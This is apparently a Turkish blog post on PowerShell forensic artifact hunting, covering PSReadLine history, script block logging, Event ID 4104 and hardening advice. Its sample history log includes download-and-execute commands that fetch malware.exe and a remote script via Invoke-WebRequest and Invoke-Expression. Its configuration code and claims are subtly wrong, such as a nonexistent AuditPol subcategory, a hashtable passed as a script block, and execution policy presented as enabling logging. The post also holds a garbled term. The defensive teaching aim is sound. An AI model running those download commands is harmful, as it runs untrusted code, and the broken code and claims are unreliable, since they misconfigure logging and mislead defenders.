CyberFlow Logo CyberFlow BLOG
Soc L2 Digital Forensics Artifact Avciligi

PowerShell ile Forensik Veri Avcılığı: Siber Güvenlikte Yeni Yöntemler

✍️ Ahmet BİRKAN 📂 Soc L2 Digital Forensics Artifact Avciligi

PowerShell kullanarak forensik veri avcılığı yöntemlerini keşfedin. Saldırı tespitinin temellerini öğrenin.

PowerShell ile Forensik Veri Avcılığı: Siber Güvenlikte Yeni Yöntemler

Bu blog yazısında PowerShell kullanarak forensik analiz yöntemlerini ayrıntılı bir şekilde öğrenin. Script block kayıtları, komut geçmişi ve tehdit avcılığı hakkında bilgi edinin.

Giriş ve Konumlandırma

PowerShell ile Forensik Veri Avcılığı: Siber Güvenlikte Yeni Yöntemler

Siber güvenlik alanında, olay inceleme süreçleri, saldırıların etkilerini azaltmak ve saldırganların izlerini sürmek için kritik bir rol oynamaktadır. Bazı durumlarda, saldırganlar Windows ortamlarında PowerShell gibi güçlü komut satırı araçlarını kullanarak sistemlere sızmakta ve zararlı aktiviteler gerçekleştirmektedirler. Bu bağlamda, forensik veri avcılığı, siber saldırıların izlerini bulmak ve bu aktivitelerin arkasındaki motivasyonları anlamak adına önemli bir teknik haline gelmiştir.

PowerShell ve Forensik Veri Avcılığının Önemi

PowerShell, Microsoft'un Windows işletim sistemleri için geliştirdiği bir otomasyon ve yapılandırma aracıdır. Gelişmiş özellikleri sayesinde, sistem yöneticileri için vazgeçilmez bir araç olmasının yanı sıra, kötü niyetli aktörler tarafından da sıklıkla kullanılmaktadır. Özellikle, "living off the land" (TOPLUMÜBİBİN) olarak bilinen bir yaklaşım, saldırganların mevcut sistem araçlarını kullanarak güvenliği atlatmalarına olanak tanır. Bu nedenle, PowerShell’in kötüye kullanımı ve buna bağlı forensik verilerin analizi siber güvenlik uzmanları için kritik öneme sahiptir.

Yenidoğan teknolojilere ve yöntemlere karşı yapılan bu forensik analizler, saldırıların etkilerini analiz etmeye ve gelecekteki tehditlerin önlenmesine yardımcı olur. PowerShell forensik verilerin analizi, sistemlerdeki komut geçmişi, script block logları (script çalıştırma kayıtları) ve diğer verbose logging (detaylı kayıt) yöntemlerini içermektedir. Bu verilerin incelenmesi, şüpheli faaliyetlerin belirlenmesine ve saldırganlarının komut zincirlerinin ortaya çıkarılmasına yardımcı olur.

PowerShell Forensik Veri Yapıları

PowerShell, komut geçmişi ve script block logları gibi birçok forensik veri yapısı oluşturur. Örneğin, PSReadLine modülü, kullanıcıların PowerShell'de çalıştırdıkları komutları kaydeder. Bu kayıtların analizi, kullanıcıların sistemde gerçekleştirdiği aktivitelerin detaylı bir görüntüsünü sağlar. Diğer taraftan, script block logları, çalıştırılan PowerShell scriptlerinin içeriklerini kaydederek, zararlı aktivitelerin tespit edilmesine olanak tanır. Her iki yapı da, analistlerin, kötü niyetli aktiviteleri geri takip etmelerini sağlamaktadır.

# Örnek: PowerShell script block logging’in etkinleştirilmesi
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Enable-PSRemoting -Force
# Script block loglarını etkinleştirmek için
$scriptblocklogging = @{
    Command = "AuditPol /set /subcategory:`"Script Block Logging`" /success:Enable /failure:Enable"
}
Invoke-Command -ScriptBlock $scriptblocklogging

Yukarıda örnek kodda gösterildiği gibi, script block logging’in etkinleştirilmesiyle, sistemde gerçekleşen komutların detaylı bir şekilde kaydedilmesi sağlanmaktadır. Bu tür loglar, forensik incelemede önemli bir kaynak oluşturur.

Siber güvenlik profesyonelleri, PowerShell'in forensik avantajlarını ve tehdit avcılığı süreçlerini kullanarak, sistemde bulunan zararlı scriptleri, şüpheli komutları ve saldırı tekniklerini tespit edebilirler. Bu süreç, siber savunma stratejilerine entegre edilerek daha sağlam bir güvenlik katmanı oluşturulmasına yardımcı olur.

Sonuç

Sonuç olarak, PowerShell ile yapılan forensik veri avcılığı, günümüz siber güvenlik ortamında kritik bir beceri haline gelmiştir. Analistler, kullanıcıların PowerShell üzerinden gerçekleştirdikleri her türlü aktiviteyi dikkatli bir şekilde inceleyerek, güvenlik açıklarını belirleyebilir ve siber tehditlere karşı daha etkili bir mücadele yürütme imkanına sahip olabilirler. Özellikle, siber saldırganların kullandığı tekniklerin anlaşılması, güvenlik duruşunu güçlendirmek ve sistemlere yönelik saldırıları önlemek için hayati bir öneme sahiptir. Bu blogda, PowerShell ile forensik veri avcılığı üzerine derinlemesine bilgiler sunarak, hem savunma hem de saldırı perspektifinden konunun dinamiklerini keşfetmeyi amaçlamaktayız.

Teknik Analiz ve Uygulama

PowerShell Artifact Tanımı

PowerShell, Windows işletim sistemi üzerinde komut çalıştırmak için kullanılan güçlü bir araçtır. Forensik veri avcılığı açısından önemli bir rol oynamaktadır. PowerShell artifact'leri, bir sistemde çalıştırılan komutların ve scriptlerin detaylarını içeren veriler olarak tanımlanabilir. Bu veriler, bir sistemin olay zaman çizelgesine ışık tutmakta ve olası kötü niyetli aktivitelerin tespit edilmesinde kritik öneme sahiptir.

PowerShell üzerinde gerçekleşen tüm aktiviteler, belirli veri yapıları aracılığıyla kaydedilir. Bu yapıların başında komut geçmişi, script block kayıtları ve kullanıcı aktiviteleri gelir. Bu verilerin analizi, saldırganların sistemdeki hareketlerini anlamak için önemlidir.

PSReadLine History Konumu

PowerShell'de gerçekleştirilen her bir komut, kullanıcı profiline özgü bir konumda saklanmaktadır. Kullanıcıların çalıştırdığı komut geçmişini içeren dosya yolu şu şekildedir:

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Bu dosya, kullanıcının daha önce çalıştırdığı komutları takip etmemizi sağlar. Elde edilen bu veriler, kötü niyetli hareketlerin izini sürmek için bir temel oluşturur.

Temel PowerShell Artifact Türleri

PowerShell forensik analizinde üç temel artifact türü bulunmaktadır:

  1. Komut Geçmişi (PSReadLine): Kullanıcıların komut geçmişini saklayarak, hangi komutların çalıştırıldığını gösterebilir.
  2. Script Block Logs: Çalıştırılan script içeriklerinin detaylarını kaydeder. Bu loglar, PowerShell scriptlerinin içeriklerini ve çalışma zamanlarını içermektedir.
  3. Transcript Kayıtları: Kullanıcı etkileşimlerinin detaylı bir kaydını tutarak, geçmişteki oturumların izlerini sunar.

Script Block Logging

Script block logging, Windows PowerShell'deki belirli scriptlerin içeriklerini detaylı bir şekilde kaydetmek için kullanılmaktadır. Bu kayıtlar, kötü niyetli scriptlerin tespit edilmesinde önemli bir rol oynar. Örneğin, script block loglamanın etkinleştirilmesi için aşağıdaki komut kullanılabilir:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

Bu komut, uzaktan gelen scriptlerin imzalanmış olmasını gerektirir ve dolayısıyla kötü niyetli scriptlerin çalıştırılmasını engeller. Script block logging etkinleştirildiğinde, Event ID 4104 ile loglanır ve log dosyaları detaylı bir analiz için kullanılabilir.

PowerShell Analiz Süreci

PowerShell forensik analiz süreci, çeşitli adımları içermektedir:

  1. Veri Toplama: İlk adım olarak, PowerShell komut geçmişi, script block logları ve diğer ilgili loglar toplanmalıdır.
  2. Veri İnceleme: Toplanan verilerin detaylı bir incelemesi yapılır. Özellikle şüpheli komutlar ve scriptler üzerinde durulmalıdır.
  3. Analiz ve Raporlama: Elde edilen bulgular analiz edilerek, bir rapor hazırlanır. Bu rapor, olası tehditler ve saldırı yöntemleri hakkında bilgi içermelidir.

PowerShell Forensic Avantajları

PowerShell, siber güvenlik alanında sunduğu avantajlar ile dikkat çekmektedir:

  • Gerçek Zamanlı Analiz: PowerShell artifact'leri, gerçek zamanlı olarak kötü niyetli aktivitelerin tespit edilmesine olanak tanır.
  • Detaylı Log Kaydı: Script block logları ve diğer kayıtlar, detaylı inceleme yapılmasına imkân sağlar.
  • Otomasyon: PowerShell, otomasyon yetenekleri sayesinde, hızlı bir şekilde büyük veri setleri üzerinde işlem yapmaya olanak tanır.

LOLBins Analizi

"Living Off The Land Binaries" (LOLBins), saldırganların sistemdeki mevcut araçları kötüye kullanarak saldırı gerçekleştirdiği bir yöntemdir. PowerShell, LOLBins analizinde sıkça kullanılan bir araçtır. Bu yöntem, saldırganların var olan sistem kaynaklarından yararlanarak tespit edilme riskini azaltmalarına olanak tanır.

Saldırganlar, örneğin PowerShell'i kullanarak şüpheli script'ler çalıştırabilirler. Bu nedenle, PowerShell artifact'leri, saldırganların hangi komutları kullandığını ve bunların arka planında hangi yöntemlerin olduğunu analiz etmek için önemlidir.

Threat Hunting Süreci

Siber güvenlik uzmanları, tehdit avcılığı sürecini yürütürken PowerShell artifact'lerini kullanarak aşağıdaki adımları izler:

  1. Veri Toplama: PowerShell logları ve artifact'lerinin toplanması.
  2. Mekanizmanın İncelenmesi: Toplanan verilerin analiz edilerek şüpheli aktivitelerin tespit edilmesi.
  3. Şüpheli Komut Zincirleri Analizi: Saldırganların hangi komutları kullanarak hareket ettiğinin belirlenmesi.

PowerShell Anti-Forensics Riskleri

PowerShell kullanımı, bazı anti-forensics teknikleri tarafından tehdit altında kalabilmektedir. Örneğin, komut geçmişinin silinmesi veya log mekanizmalarının devre dışı bırakılması, tespit edilme olasılığını azaltabilir. Bu nedenle, PowerShell aktiviteleri incelenirken bu tür tekniklerin de göz önünde bulundurulması gerekir.

Sonuç olarak, PowerShell ile forensik veri avcılığı, Siber Güvenlik alanında önemli bir yere sahiptir. Gelişmiş veri analizi, detaylı log kayıtları ve saldırı yöntemlerinin anlaşılmasına yardımcı olmaktadır. Bu bağlamda, PowerShell artifact'lerinin doğru kullanımı, sistemlerin güvenliğini artırmak için kritik bir unsurdur.

Risk, Yorumlama ve Savunma

Siber güvenliğin karmaşık doğası, her geçen gün yeni tehditlerin ortaya çıkmasına neden olmaktadır. Bunun olması, siber güvenlik uzmanlarının her zaman daha iyi savunma stratejileri geliştirmesini gerektirmektedir. PowerShell, özellikle Windows sistemlerinde yaygın olarak kullanılan bir komut satırı aracı olduğundan, bu alandaki risklerin anlaşılması ve yönetimi kritik bir önem taşımaktadır.

Elde Edilen Bulguların Güvenlik Anlamı

PowerShell ile yapılan forensik analizler, saldırıların izlerini ortaya çıkarmak için önemli bir kaynak sunar. Örneğin, sistemdeki PSReadLine geçmişi, komut geçmişini tutar. Bu veriler, kötü niyetli bir etkinliği takip etmek için kullanılabilir. Sistem yöneticileri, kullanıcıların çalıştırdığı komutları inceleyerek, bu komutların güvenliğini değerlendirir.

Aşağıda örnek bir komut geçmişi kaydı yer almaktadır:

Get-Command
Invoke-WebRequest -Uri "http://malicious.example.com/malware.exe"
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://example.com/script.ps1")

Bu tür kayıtlar, şüpheli aktivitelerin tespit edilmesine yardımcı olur. Örneğin, Invoke-WebRequest ve Invoke-Expression kullanımı, potansiyel bir kötü amaçlı saldırının habercisi olabilir.

Yanlış Yapılandırma ve Zafiyetler

Yanlış yapılandırmalar, siber güvenlik açığına neden olabilir. PowerShell, yapılandırma yanlışlıkları nedeniyle kötü niyetli saldırganlar tarafından kötüye kullanılabilir. Ayrıca, loglama özelliğinin devre dışı bırakılması, saldırganların faaliyetlerinin kaydedilmesini engelleyerek forensik analizi zor hale getirir. Event ID 4104 gibi kayıtların izlenmesi, özellikle Script Block Logging ile birleştirildiğinde saldırganların komutlarını yeniden oluşturmak için kritik öneme sahiptir.

Sızan Veri ve Servis Tespiti

PowerShell, ele geçirilen verilerin belirlenmesine yardımcı olabilecek çeşitli araçlar sunar. Sızan verilerin gizli olduğunu varsayalım; kötü niyetli bir kullanım, genellikle bir oturum açma işlemi ile başlar ve ardından gizli bilgilere erişime yol açar. Servis tespiti, özellikle sistem yöneticilerinin hangi servislerin çalıştığını denetlemesine olanak tanır. Ardından, bu servislerin hangi komutlarla başlatıldığının analizi yapılmalıdır.

Profesyonel Önlemler ve Hardening Önerileri

  1. Loglama Aktif Tutulmalı: PowerShell için loglama mekanizmaları devre dışı bırakılmamalıdır. Özellikle script block logging, forensik analiz için önemli verileri sağlar.

  2. Yalnızca Güvenilir Scriptler Kullanılmalı: Sistemlerde yalnızca güvenilir ve denetlenen scriptlerin çalıştırılması sağlanmalıdır. Zararlı scriptlerin tespit edilmesi için Malicious Script Analysis yapılmalıdır.

  3. Otomasyon ve Komut Zinciri Analizi: Kullanılan komutların ve scriptlerin otomasyon süreçlerinde dikkatli bir analiz gerektirdiği unutulmamalıdır. Command Reconstruction, olası bir saldırının detaylarını gün yüzüne çıkarmasına yardımcı olabilir.

  4. Zafiyet Yönetimi: Sistemlerin güncel tutulması ve bilinen zafiyetlere karşı sık sık tarama yapılması gerekmektedir. Örneğin, History Clearing gibi teknikler, kötü niyetli kullanıcılar tarafından kullanılabilir; bu nedenle bu tür süreçlerin izlenmesi önemlidir.

  5. Eğitim ve Farkındalık: Kullanıcıların, PowerShell ve genel siber güvenlik konusunda eğitilmesi, kendilerini korumalarına yardımcı olacaktır. Bu konuda oluşturulacak farkındalık programları, insan kaynaklı hataların minimize edilmesine yardımcı olabilir.

Sonuç Özeti

PowerShell, hem zararlı aktiviteleri tespit etmek için güçlü bir araç hem de siber suçluların kötüye kullanımı için potansiyel bir hedef olarak kabul edilmektedir. Elde edilen verilerin dikkatlice analiz edilmesi, yanlış yapılandırmaların ve olası zafiyetlerin belirlenmesi, etkili bir risk yönetimi stratejisi oluşturulmasına katkı sağlar. Güçlü bir savunma mekanizması geliştirmek için gerekli profesyonel önlemlerin alınması kritik öneme sahiptir. Unutulmamalıdır ki, etkili siber güvenlik, sürekli bir öğrenme ve uyum sürecidir.